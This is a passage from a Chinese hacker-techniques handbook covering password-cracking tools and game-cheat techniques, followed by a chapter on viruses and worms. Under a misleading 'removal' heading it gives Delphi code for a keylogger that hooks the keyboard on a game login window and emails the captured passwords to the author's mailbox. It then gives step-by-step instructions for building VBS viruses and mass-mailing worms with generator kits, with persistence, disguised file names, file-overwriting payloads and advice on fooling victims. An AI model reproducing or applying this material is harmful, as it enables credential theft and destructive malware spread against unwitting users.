步骤4：单击【Next】按钮，即可打开【SecureIt Pro First Time Initialization-3】对话框，用于查看自动生成的一个后门口令，以便于帮助用户登录时使用，如图5-61所示。

图　5-61　【SecureIt Pro First Time Initialization-3】对话框

步骤5：单击【Next】按钮，即可打开【SecureIt Pro First Time Initialization-4】对话框，要求用户在仅有的空白文本框中填写前面自动生成的后门口令，如图5-62所示。

图　5-62　【SecureIt Pro First Time Initialization-4】对话框

步骤6：单击【Next】按钮，即可打开【SecureIt Pro First Time Initialization-5】对话框，如图5-63所示。单击右下角按钮，即可弹出"SecureIt Pro"提示框，提示“已输入的信息不能更改，是否继续？”，单击【是】按钮，即可完成整个初始化操作，如图5-64所示。

图　5-63　【SecureIt Pro First Time Initialization-5】对话框

图　5-64　"SecureIt Pro"提示框

注意　在因遗忘密码而被锁定时，如果想使用后门口令，请使用"Shift+Ctrl"组合键并右击SecureIt Pro程序主界面左上角的锁定标记。

2.设置登录口令

在开始使用SecureIt Pro之前，先要设置进入的口令。这样才能在以后利用这个口令来锁定计算机，反之，用来开启这个锁。具体的操作步骤如下。

步骤1：双击桌面上的"SecureIt Pro"应用程序图标，即可弹出【SecureIt Pro口令设置】窗口，在其中可以设置进入时的口令，如图5-65所示。

图　5-65　SecureIt Pro口令设置窗口

步骤2：在“密码”右侧的文本框中输入口令，单击【Lock】按钮，即可弹出【SecureIt Pro-Password Verification Required】对话框，在验证密码文本框中输入相同口令后，就可以将计算机进入锁定状态，如图5-66所示。

图　5-66　SecureIt Pro-Password Verification Required对话框

3.如何解锁

在锁定状态下，他人只能在桌面上看到一个"SecureIt Pro-Locked"窗口，其他信息（如原有程序）都呈现不可见状态。任何人都必须输入正确口令并单击【Unlock】按钮才能进入计算机。他人可以给计算机设定锁定状态的用户留言，当用户回到计算机后，就能查看这些留言，如图5-67所示。

图　5-67　SecureIt Pro-Locked窗口

第49招　WinRAR压缩文件加密解密

压缩文件也是在日常操作中使用非常多的，将所制作的文档通过压缩软件来实施加密，不仅可以减小磁盘空间，还可以更好地保护自己的文档。

1.用WinRAR加密文件

WinRAR是一款较WinZip出版晚一点的高效压缩软件，其不但压缩比和操作方法都较WinZip优越，而且能兼容ZIP压缩文件，可以支持RAR、Zip、ARJ、CAB等多种压缩格式，并且可以在压缩文件时设置密码。具体的操作步骤如下。

步骤1：用鼠标右击需要压缩并加密的文件，在快捷菜单中选取【添加到压缩文件】选项，在【压缩文件名和参数】对话框中设置压缩文件的名称及压缩格式，如图5-68所示。

图　5-68　设置压缩选项

步骤2：切换到【高级】选项卡，如图5-69所示。单击【设置密码】按钮，即可打开【带密码压缩】对话框，如图5-70所示。在其中输入密码后，连续单击【确定】按钮，即可生成加密的RAR文件。

图　5-69　【高级】选项卡

图　5-70　【带密码压缩】对话框

2.RAR Password Recovery

RAR Password Recovery软件是专为解除RAR压缩文件的密码而制作，其操作界面如图5-71所示。单击【打开】按钮，在其中选择需要解除密码的RAR文件。选择破解方式并在相应选项卡中设置其选项。单击【开始】按钮，即可开始破解。

图　5-71　RAR Password Recovery主窗口

第50招　Word文件的加密解密

大多数文档编辑都是在Word中完成的，这就必然涉及一些隐私或机密文件的安全问题。于是，对Word文件进行加密就势在必行了。

1.Word自身功能加密

Word自身提供了简单的加密功能，可以通过下面两种方法轻松实现。

（1）使用“版本”命令

“版本”功能可以让用户在编辑过程中把文档保存成不同的“版本”，以便日后对文档进行查看与修改。其实利用这个功能，用户还可在一个Word文件中隐藏并保存多个独立文档，就像一个Excel工作簿具有多个电子表格一样，很利于文件的管理。

具体的操作方法如下。

步骤1：新建一个文档并输入编辑一个文档内容之后，选择【文件】→【版本】菜单项，即可打开保存版本对话框，如图5-72所示。

图　5-72　保存版本对话框

步骤2：单击【现在保存】按钮，即可打开【保存版本】对话框，在“版本备注”文本框中输入当前文档的标题或简单说明之后，单击【确定】按钮，即可将当前文本保存下来。

步骤3：将原来编辑的内容全部删除之后，再重新输入编辑一个新的文档内容，并重复上述操作，将新文档内容保存成另一个版本。将工作区中的所有内容全部删除，并选择【文件】→【保存】菜单项，将当前文档保存。

这样，当别人打开该文档时眼前就会显示一片空白，还以为是一个空白文档呢？只有选择【文件】→【版本】菜单项，在打开的对话框中选择所需版本并单击【打开】按钮，才可以浏览到其中的内容。

（2）利用【选项】功能

利用选项功能进行加密的具体操作方法如下。

步骤1：编辑或打开一个需要加密的文档，选择【工具】→【选项】菜单项，即可打开【选项】对话框，如图5-73所示。

图　5-73　【安全性】选项卡

步骤2：在【安全性】选项卡中可以设置当前文档的密码以及修改当前文档的密码（这两个密码可以相同，也可以不同），单击【高级】按钮，即可打开【加密类型】对话框，在其中选择密码类型以及密钥长度，如图5-74所示。

图　5-74　【加密类型】对话框

2.使用Word Password Recovery解密Word文档

Word Password Recovery是一款专门用于对Word文档进行解密的工具，其操作界面如图5-75所示。在该软件中用户可设置不同解密方式，从而提高解密的针对性，加快解密速度。

图　5-75　Word Password Recovery操作界面

具体的操作步骤如下。

步骤1：单击【Browse】按钮，即可在打开的对话框中选择需要解密的Word文档。

步骤2：在【Brute-force】选项卡中可设置解密时密码的长度范围以及允许参与密码组合的字符；在【Booost-Up Engine】选项卡中可选择最佳密码组合以及破解速度和密码破解能力；在【Dictionary】选项卡中可选择破解时所使用的字典文件；在【Options】选项卡中可设置破解过程中自动保存的时间间隔等。

步骤3：在设置完成之后，单击【Start】按钮，即可开始破解。在破解完毕之后，将弹出【Password recovered】对话框，并在"Statistics"区域中显示相关信息，如图5-76所示。

图　5-76　【Password recovered】对话框

第51招　宏加密解密技术

在Microsoft Office套件中内嵌了一个Visual Basic编辑器，它是宏产生的源泉。使用宏同样可将Word和Excel文档进行加密。对Word文档而言，最大的敌人当然就是宏病毒了。

1.使用宏进行加密

在Word里使用宏进行防范设置十分简单，选择【工具】→【宏】→【安全性】菜单项，即可打开如图5-77所示的对话框，确保选中“高”或“中”选项。这样，以后每打开一个文档，系统都会检查它的数字签名，一旦发现是不明来源的宏，即可将它置之门外。

图　5-77　【安全性】对话框

另外，为阻止可恶的宏病毒在打开文件时自动运行并产生危害，可以在打开一个Office文件时，很容易阻止一个用VBA写成的在打开文件时自动运行的宏的运行。

选择【文件】→【打开】菜单项，在【打开】对话框中选择所要打开的文件名称，在单击【打开】按钮时按住Shift键，Office将在不运行VBA过程的情况下，打开该文件。按住Shift键阻止宏运行的方法，同样适用于选择【文件】菜单底部的文件（最近打开的几个文件）。

同样，在关闭一个Office文件时，也可以很容易地阻止一个用VBA写成，将会在关闭文件时自动运行的宏。从中选择【文件】→【关闭】菜单项，在单击【关闭】按钮时按住Shift键，Office将在不运行VBA过程的情况下关闭这个文件（按住Shift键同样适用于单击窗口右上角的“×”关闭文件时阻止宏的运行）。其实，还可以利用宏来自动加密文档，选择【工具】→【宏】→【宏】菜单项，即可打开【宏】对话框，如图5-78所示。

图　5-78　【宏】对话框

在“宏名”文本框中输入"AutoPassword"之后，在“宏的位置”下拉列表框中选择“所有的活动模板和文档”选项，再单击【创建】按钮，即可显示【Microsoft Visual Basic】窗口，如图5-79所示。在"End Sub"语句的上方插入如下代码：

With Options

.AllowFastSave=True

.BackgroundSave=True

.CreateBackup=False

.SavePropertiesPrompt=False

.SaveInterval=10

.SaveNormalPrompt=False

End With

With ActiveDocument

.ReadOnlyRecommended=False

.EmbedTrueTypeFonts=False

.SaveFormsData=False

.SaveSubsetFonts=False

.Password="2009"

.WritePassword="2009"

End With

Application.DefaultSaveFormat=""

图　5-79　Microsoft Visual Basic窗口

其中的.Password="2009"表示设置打开权限密码，.WritePassword="2009"表示设置修改权限密码。在输入完上述代码之后，选择【文件】→【保存Normal】菜单项，再执行关闭并返回到Microsoft Word即可。

2.解除宏密码

VBA Key是一款专门用于Office文档通过宏加密后的解密工具，其操作界面如图5-80所示。其操作方法非常简单，只需单击【Recover】按钮，在【Recover】对话框中选择需要破解的文档。单击【打开】按钮，即可按照用户设置好的条件进行破解。在找到密码之后，将给出具体提示信息。

图　5-80　VBA Key操作界面

第52招　系统全面加密PC Security

系统级的加密工具PC Security可以帮助大家锁定互联网、任何文件与目录、任何磁盘分区和系统等。

1.锁定驱动器

使用PC Security锁定驱动器是很简单的事情，以锁定存储有重要文件的D盘为例，在PC Security安装完毕后，在【我的电脑】窗口中右击D盘盘符，从快捷菜单中选择【PC Security】→【Lock】选项，即可完成对D盘的锁定操作，如图5-81所示。

图　5-81　“我的电脑”窗口

2.锁定系统

PC Security可以完成多种方式的系统锁定，下面逐一进行讲述。

（1）即时锁定系统

如果需要暂时离开计算机，为防止他人恶意操作自己的计算机，就可以即时锁定自己的计算机系统。具体的操作步骤如下。

步骤1：下载并安装"PC Security"软件，双击桌面上的"PC Security"应用程序图标，即可弹出“密码输入”窗口，如图5-82所示。

图　5-82　“密码输入”窗口

步骤2：在"Password"文本框中输入正确的登录密码（默认为Security），即可登录"PC Security"操作管理界面。如图5-83所示。

图　5-83　"PC Security"操作管理界面

步骤3：在登录操作管理界面后，单击"System Lock"链接，即可进入“系统锁定”设置界面，如图5-84所示。

图　5-84　“系统锁定”设置界面

步骤4：单击右侧【Lock the Computer Now】按钮，当前系统将自动切换到类似屏幕保护的状态，在屏幕窗口中有一个【密码输入】对话框，只有输入了PC Security的登录密码才能恢复系统的正常使用状态。

（2）启动时锁定系统

采用启动时锁定系统功能，可彻底地解决Windows XP系统不需密码就登录系统的安全隐患。在此功能启用后，当用户登录Windows XP系统时，在【登录】对话框中单击【确定】按钮，将会自动进入类似屏幕保护状态的PC Security登录状态。使用方法很简单，只需单击“系统锁定”界面中的"Lock on Startup"选项即可，如图5-85所示。

图　5-85　设置"Lock on Startup"选项

（3）指定时间锁系统

若勾选"Lock After' 'in-active minutes"选项，在数字栏中输入所需的数字后，PC Security就会自动地在指定的时间内若无活动就将系统锁定，如图5-86所示。

图　5-86　设置"Lock After''in-active minutes"选项

（4）锁定活动窗口

如果大家在运行程序时来了一个朋友要借用一下计算机，这个时候往往不方便将正在运行的程序关闭，但又不想让朋友打开正在运行的程序。这个看起来很麻烦的问题，通过PC Security将会很容易地被解决。具体的操作步骤如下。

步骤1：在登录操作管理界面中单击"Windows Lock"链接项，即可打开“窗口锁定”设置界面。如图5-87所示。

图　5-87　“窗口锁定”设置界面

步骤2：单击窗口【Add Title Pattern】按钮，即可弹出【Add a Title Search String】对话框，再单击"Window Title"右侧下三角按钮，在当前运行程序列表中选择要锁定的程序，单击【OK】按钮，返回“窗口锁定”设置界面，如图5-88所示。

图　5-88　【Add a Title Search String】对话框

步骤3：在“窗口锁定”设置界面中勾选"Disable"、"Invisible"等所需选项后，单击【Relock Window】按钮，即可打开【窗口锁定】窗口。此时可看到选中的程序列表，从其下方状态列表中可以看出当前程序为禁止使用状态，如图5-89所示。

图　5-89　显示锁定的窗口

（5）锁定程序

如果系统中有一些很重要的程序不方便被其他使用，也可以使用PC Security来完成程序的锁定。在登录操作管理界面中单击"Program Lock"链接项，即可打开“程序锁定”设置界面。通过展开目录选项中需锁定的程序，单击中间的锁定方式（只读或完全），单击【Lock】按钮，即可锁定程序，如图5-90所示。

图　5-90　“程序锁定”设置界面

3.验证加密效果

究竟锁定目录对于非法用户们有没有访问约束力呢？这里通过实例介绍一下，先使用PC Security将服务器的D盘下的IMA目录锁定，通过局域网中另一台计算机对服务器进行木马控制，此时大家会发现远程控制对于服务器中锁定的IMA目录无法读取。

如果恶意用户想通过网络将PC Security卸载后进行信息窃取，他们可能会非常失望，因为PC Security必需在输入密码后才可卸载。

第53招　完全解除网游外挂

在充斥着“强者就是一切”理念的网络游戏中，游戏外挂也应运而生了。就功能来说外挂也是多种多样，有游戏辅助类外挂、密码盗取类外挂、游戏加强类外挂等多种。

1.解除木马式外挂

众所周知，木马式外挂是用来帮助外挂的人偷取别人游戏的账号及密码的。此类外挂程序的实现方法很多，如HOOK、键盘监视等技术，因为HOOK技术在实际应用上需要多带一个动态链接库，所以在文中会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.EXE文件就能实现做到后台键盘监视，这个程序用这种技术来实现比较适合。

制作解除木马式外挂程序的思路是先知道想记录游戏的登录窗口名称；再判断登录窗口是否出现；如果登录窗口出现，就记录键盘；最后当窗口关闭时，把记录信息，通过邮件发送到程序设计者的邮箱。当用户记录下游戏的登录窗口名称后，就要对登录窗口是否能出现作出判断。如何才能判断登录窗口是否出现呢？其实只要用FindWindow函数就可以很轻松地实现了。其代码显示如下：

HWND FindWindow(

LPCTSTR lpClassName,//pointer to class name

LPCTSTR lpWindowName//pointer to window name

);

实际程序实现中，要找到"xx"窗口，就用FindWindow（nil，'xx'），如果当返回值大于0时表示窗口已经出现，就可以对键盘信息进行记录了。

先要用SetWindowsHookEx设置监视日志，而该函数的用法如下：

HHook SetWindowsHookEx(

int idHook,//type of hook to install

HOOKPROC lpfn,//address of hook procedure

HINSTANCE hMod,//handle of application instance

DWORD dwThreadId//identity of thread to install hook for

);

在程序中要在HookPROC里通过写一个函数来实现，而HINSTANCE只需直接用本程序的HINSTANCE就可以了。具体实现方法如下：

HHOOK:=SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance,0);

而HookPROC里的函数就要复杂一点点，其显示如下：

function HookProc(iCode:integer;wParam:wParam;lParam:lParam):LResult;stdcall;

begin

if findedtitle then file://如果发现窗口后

begin

if(peventmsg(lparam)^.message=WM_KEYDOWN)then file://消息等于键盘按下

hookkey:=hookkey+Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.par amH);

if length(hookkey)＞0 then file://如果获得按键名称

begin

Write(hookkeyFile, hookkey);file://把按键名称写入文本文件

hookkey:='';

end;

end;

end;

上述是记录键盘的整个过程，如果记录完可不要忘记释放，UnHookWindowsHookEx（hHook），而hHOOK，就是创建SetWindowsHookEx后所返回的句柄。在得到了键盘的记录后，只要把记录的这些信息发送回来，就大功告成了。其他发送这块并不是很难，只要把记录从文本文件里读出来，用DELPHI自带的电子邮件组发一下就可以了。具体代码如下：

assignfile(ReadFile,'hook.txt');file://打开hook.txt这个文本文件

reset(ReadFile);file://设为读取方式

try

While not Eof(ReadFile)do file://当没有读到文件尾

begin

Readln(ReadFile, s,j);file://读取文件行

body:=body+s;

end;

finally

closefile(ReadFile);file://关闭文件

end;

nmsmtp1.EncodeType:=uuMime;file://设置编码

nmsmtp1.PostMessage.Attachments.Text:='';file://设置附件

nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com';file://设置源邮件地址

nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com';/设置目标邮件地址

nmsmtp1.PostMessage.Body.Text:='密码'+''+body;file://设置邮件内容

nmsmtp1.PostMessage.Subject:='password';file://设置邮件标题

nmsmtp1.SendMail;file://发送邮件

2.解除加速式外挂

所谓加速式外挂其实是以修改时钟频率达到加速的目的，以前DOS时代玩过编程的人马上就会想到，直接修改一下8253寄存器即可。由于Windows是一个32位的操作系统，可以通过两种方法来实现：第一是写一个硬件驱动来完成；二是用Ring0来实现。其原理是修改IDE表→创建一个中断门→进入Ring0→调用中断修改向量，但只能用ASM汇编来实现这一切。

3.解除封包式外挂

网络游戏封包技术是大多数编程爱好者都比较关注的问题之一，涉及的技术范围很广泛，实现方式也很多（如APIHOOK、VXD、Winsock2都可以实现）；在这里不可能对每种技术和方法都涉及到，下面以Winsock2技术为例进行讲述。

先要定义Winsock2.0所用得到的类型，这里以WSA_DATA类型做示范，WSA_DATA类型会被用于WSAStartup（wVersionRequired：word;var WSData:TWSAData）:Integer；，WSData是引用参数，在传入参数时传的是变量的地址，所以对WSA_DATA做如下封装：

const

WSADESCRIPTION_LEN=256;

WSASYS_STATUS_LEN=128;

type

PWSA_DATA=^TWSA_DATA;

WSA_DATA=record

wVersIon:Word;

wHIghVersIon:Word;

szDescription:array[0..WSaDESCRIPTION_LEN]of Char;

szSystemStatus:array[0..WsASYS_STATUS_LEN]of Char;

iMaxSockets:Word;

IMaxUdpDg:Word;

lpVendorInfo:PChar;

end;

TWSA_DATA=WSA_DATA;

大家要从WS2_32.DLL引入Winsock2的函数，在此也是以WSAStartup为例做函数引入：

function WSAStartup(wVersionRequired:word;var WsData:TWSAData):Integer;stdcall;

implementation

const WInSocket2='WS2_32.DLL';

function WSAStartup;external winsocket name'WSAStartup';

通过上述方法可对Winsock2做接口，就可以用Winsock2做封包捕获了，不过先要有一块网卡。因为涉及到正在运作的网络游戏安全问题，这里以IP数据包为例做封包捕获。

如果下面的某些数据类型不是很清楚，可以查阅MSDN：

1）要启动WSA，这时要用到的WSAStartup函数，用法如下：

INTEGER WSAStartup(

wVersionRequired:word,

WSData:TWSA_DATA

);

2）使用Socket函数得到Socket句柄，m_hSocket:=Socket(aF_InEt, SOCK_RAW, IPPROTO_IP)；用法如下：

INTEGER socket(af:Integer,

Struct:Integer,

protocol:Integer

);

m_hSocket:=Socket(AF_INEt, SOCK_RAW, IPPROTO_IP)；在程序里m_hSocket为socket句柄，AF_INET, SOCK_RAW, IPPROTO_IP均为常量。

3）定义SOCK_ADDR类型，根据网卡IP给Sock_ADDR类型赋值，使用bind函数来绑定网卡，bind函数用法如下：

Type

IN_ADDR=record

S_addr:PChar;

End;

Type

TSOCK_ADDR=record

sIn_famIly:Word;

sin_port:Word;

sin_addr:IN_ADDR

sin_zero:array[0..7]of Char;

End;

var

LocalAddr:TSOCK_ADDR;

LocalAddr.sin_family:=AF_INET;

LocalAddr.sin_port:=0;

LocalAddr.sin_addr.S_addr:=inet_addr('192.168.1.1');//自己网卡的IP地址,而Inet_addr这个函数是winsock2的函数。

bind(m_hSocket, LocalAddr, sizeof(LocalAddr));

4）用WSAIoctl来注册WSA的输入输出组件，其用法如下：

INTEGER WSAIoctl(S:INTEGER,

dwIoControlcode:INTEGER,

lpvInBuffer:INTEGER,

cbInBuffer:INTEGER,

lpvOutBuffer:INTEGER,

cbOutBuffer:INTEGER,

lpcbBytesReturned:INTEGER,

lpOverlapped:INTEGER,

lpCompletIonRoutine:INTEGER

);

5）下面做死循环，在死循环块里来实现数据的接收。但循环中间要用Sleep()做延时，不然程序会出错。在循环块里，用recv函数来接收数据，recv函数用法如下：

INTEGER recv(S:INTEGER,

buffer:Array[0..4095]of byte,

length:INTEGER,

flags:INTEGER,

);

6）在buffer中就是已接收回来的数据，如果想要知道数据发送来的地方，则要定义一定IP包结构，用CopyMemory()把IP信息从buffer里面读出来就可以了，不过读出来的十六进制数据需要转换一下。

第6章
病毒与木马攻击防御

重点提示

♂病毒分析与自制

♂VBS代码也可产生病毒

♂功能强大的DOC病毒

♂全面防范网络蠕虫

♂手动查杀病毒

♂使用杀毒软件

♂防范木马入侵

本章精粹：

本章主要讲述了几种病毒和木马入侵与防范的方法，有助于读者有效地防范计算机病毒和木马。在真正了解病毒之后，使自己的系统从此变得“百毒不侵”，系统安全将不再成为一个恼人的问题。

借助一款黑客工具无疑可以使其“攻城掠机”变得事半功倍，其实在众多黑客工具中，病毒与木马无疑是黑客们的至爱。

第54招　病毒知识入门

目前计算机病毒在形式上越来越难以辨别，造成的危害也日益严重，所以要求网络防毒产品在技术上更先进，功能上更全面。

1.计算机病毒的特点

计算机病毒虽是一个小程序，一般计算机病毒具有如下几个共同的特点：

1）程序性（可执行性）：计算机病毒与其他合法程序一样，是一段可执行程序，但它不是一个完整的程序，而是寄生在其他可执行程序上，所以它享有该程序所能得到的权力。

2）传染性：传染性是病毒的基本特征，计算机病毒会通过各种渠道从已被感染的计算机扩散到未被感染的计算机。病毒程序代码一旦进入计算机并被执行，就会自动搜寻其他符合其传染条件的程序或存储介质，确定目标后再将自身代码植入其中，实现自我繁殖。

3）潜伏性：一个编制精巧的计算机病毒程序，进入系统之后一般不会马上发作，可以在很长一段时间内隐藏在合法文件中，对其他系统进行传染，而不被人发现。

4）可触发性：是指病毒因某个事件或数值的出现，诱使病毒实施传染或进行攻击的特性。

5）破坏性：系统被病毒感染后，病毒一般不会立刻发作，而是潜藏在系统中，等条件成熟后，便会发作，给系统带来严重的破坏。

6）主动性：病毒对系统的攻击是主动的，计算机系统无论采取多么严密的保护措施，都不可能彻底地排除病毒对系统的攻击，而保护措施只是一种预防的手段。

7）针对性：计算机病毒是针对特定的计算机和特定的操作系统的。

2.病毒的三个基本结构

计算机病毒本身的特点是由其结构决定的，所以计算机病毒在其结构上有其共同性。计算机病毒一般包括引导模块、传染模块和表现（破坏）模块三大功能模块，但不是任何病毒都包含这三个模块。传染模块的作用是负责病毒的传染和扩散，而表现（破坏）模块则负责病毒的破坏工作，这两个模块各包含一段触发条件检查代码，当各段代码分别检查出传染和表现（破坏）触发条件时，病毒就会进行传染和表现（破坏）。触发条件一般由日期、时间、某个特定程序和传染次数等多种形式组成。

1）对于寄生在磁盘引导扇区的病毒，病毒引导程序占有了原系统引导程序的位置，并把原系统引导程序迁移到一个特定的地方。系统一启动，病毒引导模块就会自动地载入内存并获得执行权，该引导程序负责将病毒程序的传染模块和表现模块装入内存的适当位置，并采取常驻内存技术以保证这两个模块不会被覆盖，再对这两个模块设定某种激活方式，使之在适当时候获得执行权。处理完这些工作后，病毒引导模块将系统引导模块装入内存，使系统在带病毒状态下运行。

对于寄生在可执行文件中的病毒，病毒程序一般通过修改原有可执行文件，使该文件在执行时先转入病毒程序引导模块，该引导模块也可完成把病毒程序的其他两个模块驻留内存中及初始化的工作，把执行权交给执行文件，使系统及执行文件在带病毒的状态下运行。

2）对于病毒的被动传染而言，是随着拷贝磁盘或文件工作的进行而进行传染的。而对于计算机病毒的主动传染而言，其传染过程是在系统运行时，病毒通过病毒载体即系统的外存储器进入系统的内存储器、常驻内存，并在系统内存中监视系统的运行。

在病毒引导模块将病毒传染模块驻留内存的过程中，通常还要修改系统中断向量入口地址（例如INT 13H或INT 21H），使该中断向量指向病毒程序传染模块。这样，一旦系统执行磁盘读写操作或系统功能调用，病毒传染模块就被激活，传染模块在判断传染条件满足的条件下，利用系统INT 13H读写磁盘中断把病毒自身传染给被读写的磁盘或被加载的程序，也就是实施病毒的传染，再转移到原中断服务程序执行原有的操作。

3）计算机病毒的破坏行为体现了病毒的杀伤力。病毒破坏行为的激烈程度，取决于病毒制作者的主观愿望和其所具有的技术能量。

数以万计、不断发展扩张的病毒，其破坏行为千奇百怪，不可能穷举其破坏行为，难以做全面地描述。病毒破坏目标和攻击部位主要有系统数据区、文件、内存、系统运行、运行速度、磁盘、屏幕显示、键盘、喇叭、打印机、CMOS和主板等。

3.病毒的工作流程

计算机系统的内存是一个非常重要的资源，所有的工作都需要在内存中运行。病毒一般都是通过各种方式把自己植入内存，获取系统最高控制权，感染在内存中运行的程序。

计算机病毒的完整工作过程应包括如下几个环节。

1）感染病毒：病毒总是依附于某些存储介质，如软盘、硬盘等构成传染源。病毒传染的媒介由其工作的环境来决定的，可能是计算机网络，也可能是可移动的存储介质，如U盘等。

2）病毒激活：是指将病毒装入内存，并设置触发条件。一旦触发条件成熟，病毒就开始自我复制到传染对象中，进行各种破坏活动等。

3）病毒触发：计算机病毒一旦被激活，立刻就会发生作用，触发的条件是多样化的，可以是内部时钟，系统的日期，用户标识符，也可能是系统一次通信等。

4）病毒表现：表现是病毒的主要目的之一，有时在屏幕显示出来，有时则表现为破坏系统数据。凡是软件技术能够触发到的地方，都在其表现范围内。

5）传染：病毒的传染是病毒性能的一个重要标志。在传染环节中，病毒复制一个自身副本到传染对象中去。计算机病毒的传染是以计算机系统的运行及读写磁盘为基础的。没有这样的条件计算机病毒是不会传染的。只要计算机运行就会有磁盘读写动作，病毒传染的两个先决条件就很容易得到满足。系统运行为病毒驻留内存创造了条件，病毒传染的第一步是驻留内存；第二步是一旦进入内存之后，寻找传染机会，寻找可攻击的对象，判断条件是否满足，决定是否可传染；第三步是当条件满足时进行传染，将病毒写入磁盘系统。

第55招　VBS代码也可产生病毒

脚本病毒通常是由JavaScript代码编写的恶意代码，一般带有广告性质、修改IE首页、修改注册表等信息。脚本病毒前缀是Script，共同点是使用脚本语言编写，通过网页进行的传播，如红色代码（Script.Redlof）脚本病毒还会有其他前缀：VBS、JS（表明是何种脚本编写的），如欢乐时光（VBS.Happytime）、十四日（Js.Fortnight.c.s）等。

1.VBS脚本病毒生成机

现在网络中还流行有如“VBS脚本病毒生成机”这样的自动生成脚本语言软件，无需掌握枯燥的语言，即可自制脚本病毒，让用户无需一点编程知识即可制造出一个VBS脚本病毒。

下面介绍脚本病毒的制作过程，具体的操作步骤如下。

步骤1：下载并解压“2004最新VBS脚本病毒生成机”压缩文件，双击“2004最新VBS脚本病毒生成机.exe”应用程序图标，即可打开【星竹软件系列--VBS脚本病毒生成机】对话框，在其中看到程序的相关介绍，如图6-1所示。

图　6-1　【星竹软件系统-VBS脚本病毒生成机】对话框

小技巧　在用此软件制作生成病毒的同时，会产生一个名为"reset.vbs"的恢复文件，如果不小心运行了病毒，系统将不能正常工作，则可以运行它来解救。

步骤2：在“病毒复制”选项卡中可选择是否将在最终生成病毒的同时，在指定的文件夹下再生成一个病毒副本。也可选择在Windows文件夹或系统文件夹中生成病毒副本，文件名的前缀默认为"Win32system"，可以自定义。如果想在每次开机时自动运行该病毒程序，可勾选“复制病毒副本到启动菜单”复选项，如图6-2所示。

图　6-2　“病毒复制”选项页面

提示　除软件默认指定的这几个选项外，用户也可任意指定病毒副本的存放位置，这需要对生成的VBS病毒文件手动进行一些修改才行。

步骤3：在“病毒禁止”选项卡中根据要设计的脚本病毒功能勾选合适的复选框，如图6-3所示。在“病毒提示”选项卡的“设置开机提示框标题”输入栏和“设置开机提示框内容”输入栏中输入字符，如图6-4所示。

图　6-3　“病毒禁止”选项页面

图　6-4　“病毒提示”选项页面

注意　若勾选“开机自动运行”，则病毒将自动加入注册表中，伴随系统启动悄悄运行；如果只是想搞点恶作剧，可勾选“禁止运行菜单”、“禁止关闭系统菜单”、“禁止任务栏和开始”及“禁止桌面所有图标”等选项，让中毒者的电脑出现些莫名其妙的错误。如果想让对方开机后找不到硬盘分区、无法运行注册表编辑器和无法打开控制面板等，则需要勾选“隐藏盘符”、“禁止使用注册表扫描”和“禁用控制面板”等选项即可。

步骤4：在“病毒传播”选项卡中勾选“通过电子邮件自动传播（蠕虫，慎用！）”复选框，即可激活“每次运行自动地址簿中的前”文本框，在其中输入相应的数字后，则每次病毒运行时，都会自动向邮件地址簿中指定数字的联系人发送带毒邮件，如图6-5所示。

图　6-5　“病毒传播”选项页面

步骤5：在“病毒修改”选项卡中根据要设计的脚本病毒的功能勾选相应复选框，如图6-6所示。在“病毒生成”选项卡的输入框中输入脚本病毒文件存放位置，如图6-7所示。单击【我愿付一切责任，我要生成病毒】按钮，即可弹出“星竹软件系列”提示框，提示“病毒成功生成完毕！”等消息，完成脚本病毒制作的整个过程，如图6-8所示。

图　6-6　“病毒修改”选项页面

图　6-7　“病毒生成”选项页面

图　6-8　“星竹软件系列”提示框

在病毒生成之后，如何让病毒在对方的电脑上运行呢？有许多种方法，比如修改文件名，使用双后缀的文件名，如“病毒.txt.vbs”等，再通过邮件附件形式发送出去。因为主要是讲述VBS病毒的制作过程，至于如何传播病毒的具体实施过程，这里不再赘述。

2.VBS蠕虫病毒制造机

VBSWG（VBS Worm Generator, VBS蠕虫制造机）是一款专门制造VBS蠕虫病毒的软件，下载并解开压缩包后会看到里面包含两个可执行文件：一个是主程序"Vbswg.exe"文件，另一个是附带的加密程序"VbsEncrypter.exe"文件，还有一个英文的帮助文件。由于该软件是用Visual Basic 6.0编写的，所以需要动态链接库Msvbvm60.dll才能运行。

制作VBS蠕虫病毒的具体操作步骤如下。

步骤1：下载并解压缩“VBS蠕虫制造机”文件，双击"vbswg.exe"应用程序图标，即可看到启动画面。如图6-9所示。稍等几秒钟后，即可进入"vbswg2 Beta"主操作界面。

图　6-9　启动画面

步骤2：在主界面几个编辑框中输入蠕虫病毒的名字、制作者的名字和文件名等。默认文件名几乎都是双后缀名，如".jpg.vbs"、".txt.vbs"、".gif.vbs"、".html.vbs"等。这样的双后缀名可以起到很好地隐藏效果，如图6-10所示。

图　6-10　"vbswg2 Beta"主操作界面

步骤3：在"Copy worm to"选项中可选择将蠕虫拷贝到什么目录下，如Windows下（%Windows%）、System（%System%）下和Temp（%Temp%）下。单击【Startup】按钮，即可弹出【Startup】对话框，在其中可以设置病毒如何启动。在注册表启动项中填写键值的名字（这里输入"WinUpdate"），就可以具有迷惑性，让用户以为是启动系统升级项，如图6-11所示。

图　6-11　【Startup】对话框

步骤4：单击窗口最上方第二个【E-Mail】按钮，即可弹出【vbswg2-E-Mail】对话框，在其中可以自己编写标题和内容，如图6-12所示。利用此选项还可将蠕虫作为附件形式或超文本形式发送。

图　6-12　【vbswg2-E-Mail】对话框

步骤5：单击窗口最上方第三个【lrc】按钮，即可弹出【vbswg2-lrc】对话框，在其中选择可以感染Mirc的选项，如图6-13所示。单击窗口最上方第四个【Infect】按钮，即可弹出【vbswg2-infect】对话框，由于"Infect"默认感染.vbs和.vbe文件。如果勾选"Infect files"复选项，则会用病毒码覆盖所有文件，这样受害者所有的数据都会被破坏，几乎没有恢复的可能性，如图6-14所示。

图　6-13　【vbswg2-lrc】对话框

图　6-14　【vbswg2-infect】对话框

步骤6：若单击窗口最上方第五个【Payload】按钮，即可弹出【vbswg2-Payload】对话框，在其中选择一些不太实用的功能，如改变用户名、发送消息和自动关闭计算机（仅支持Win9x和WinMe）等，如图6-15所示。

图　6-15　【vbswg2-Payload】对话框

步骤7：单击窗口最上方的【Extras】按钮，即可从弹出菜单中选择其中一种功能来设置病毒的隐藏。其"Extras"所具备的功能主要包括："AntiDeletion"、"Encryption"、"Join Exe"和"Polymorphic"等4项功能，如图6-16所示。

图　6-16　查看Extras所具备的四项功能

